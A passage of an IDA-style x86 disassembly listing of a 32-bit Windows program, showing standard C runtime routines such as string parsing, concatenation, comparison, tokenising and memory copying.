		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB278, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26606EFh
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 2660D84h
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2C4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2C4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
